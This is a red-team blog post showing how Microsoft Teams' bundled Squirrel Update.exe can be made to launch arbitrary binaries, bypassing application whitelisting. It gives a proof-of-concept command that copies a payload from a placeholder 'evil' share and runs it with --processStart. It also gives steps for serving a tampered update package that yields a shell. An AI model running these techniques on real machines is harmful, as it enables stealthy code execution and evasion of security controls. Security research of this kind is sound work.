Executing Code Using Microsoft Teams Updater

Red Teamers like to hunt for new methods of code execution through “legitimate” channels, and I’m no exception to that rule. This time Microsoft Teams was my target. Teams was an interesting candidate since it uses modern technology called Electron. Electron is basically nodejs embedded in an executable. Let’s dive into the application whitelisting bypass using Update.exe that is shipped with Microsoft Teams.

First, Teams.exe is installed at the following location “%userprofile%\AppData\Local\Microsoft\Teams\” which is surprisingly odd. There is a long thread on why this is a bad idea: https://www.masterpackager.com/blog/how-microsoft-teams-installer-should-have-looked-like-from-the-beginning

The good news from a Red Team perspective is that we have full access as a user to the entire folder content. A typical Teams installation should contain the following files:

The Update.exe is actually the Squirrel Updater, which is open source.

Let’s focus on the main part of the application: https://github.com/Squirrel/Squirrel.Windows/blob/develop/src/Update/Program.cs

The main method is calling the following method:

int executeCommandLine(string[] args)

This method parses the command line arguments. The accepted arguments are listed in the switch case statement as following:

switch (opt.updateAction) {
    case UpdateAction.Install:
    case UpdateAction.Uninstall:
    case UpdateAction.Download:
    case UpdateAction.Update:
    case UpdateAction.CheckForUpdate:
    case UpdateAction.UpdateSelf:
    case UpdateAction.Shortcut:
    case UpdateAction.Deshortcut:
    case UpdateAction.ProcessStart:
    case UpdateAction.Releasify:
}

Right away, the ProcessStart looks interesting. If the code reaches this case, the following code is then executed:

ProcessStart(opt.processStart, opt.processStartArgs, opt.shouldWait);

Both arguments are passed to Update.exe using the following switch –processStart and --process-start-args. You can see if you list the Squirrel usage that, surprisingly, the help menu does not list these wonderful arguments, which is usually a good sign that we're into something.

The ProcessStart method is performing several checks, I’ll only cover the relevant checks.

var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));

var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
    throw new ArgumentException();
}

The appDir variable contains the path to the Update.exe. The releases variable is resolving to the latest build folder location in the case, which is “current.” As stated in the source code, the if statement is checking for path canonicalization attack. Which mean that of –processStart is set to ..\..\..\..\..\..\windows\system32\cmd.exe will result in the following output:

targetExe.FullName will equal to C:\windows\system32\
And latestAppDir will equal to C:\Users\*\AppData\Microsoft\Teams\current\

Unfortunately, this will have killed our arbitrary file execution path. However, due to Microsoft’s decision, Teams was not installed into the typical “Program Files” folder as AppData is fully writable by the current user.

To be able to execute an arbitrary file we simply need to copy it to the C:\Users\*\AppData\Microsoft\Teams\current\ folder.

Then the code will eventually reach the fatal point as shown here:

Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });

At this point, you executed your binary through a Microsoft Signed binary.

Simple of proof of concept:

Copy \\evil\payload.exe C:\users\*\AppData\Local\Microsoft\Teams\current\ && C:\users\*\AppData\Local\Microsoft\Teams\Update.exe –processStart payload.exe –process-start-args go.

In conclusion, Squirrel properly mitigated the arbitrary file execution. However, Microsoft decided to install Teams in a user-writable location allowing an attacker to defeat the security check that was put in place.

Remember the switch case? Let’s take a look at the UpdateAction.Update. The update action supports the –update argument, which is an URL to the update website.

The Update method is performing the following actions:

var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));

The check for update is fetching a RELEASES file based on the URL specified. The RELEASES format is fairly simple: SHA1 package size. The expected file is a nupkg. Luckily Teams was kind enough to provide a sample of a nupkg package as part of the Teams installation.

Once the file is downloaded, the Squirrel process will be launched. By unzipping the Teams nupkg file, the location of Squirrel.exe is revealed: Teams-1.2.00.13765-full\lib\net45

Change the Squirrel.exe to your payload and make sure that is renamed Squirrel.exe. Zip the whole folder and update the RELEASES file with the proper hash and size.

In this case, the RELEASES file had the following structure:

53329bb727098e84ecf7d7f897de1bc501268cd1 Teams-1.2.00.13765-full.nupkg 1185211

To be able to execute the package simply point to your URL in this case:

Update.exe –update https://ringzer0team.com

Enjoy your shell.

After I released the ProcessStart technique Reegun J (@reegun21) released the –update technique. Concurrent findings are common in security research, but since he published it before this blog post was released, I want to make sure he gets full credit for it.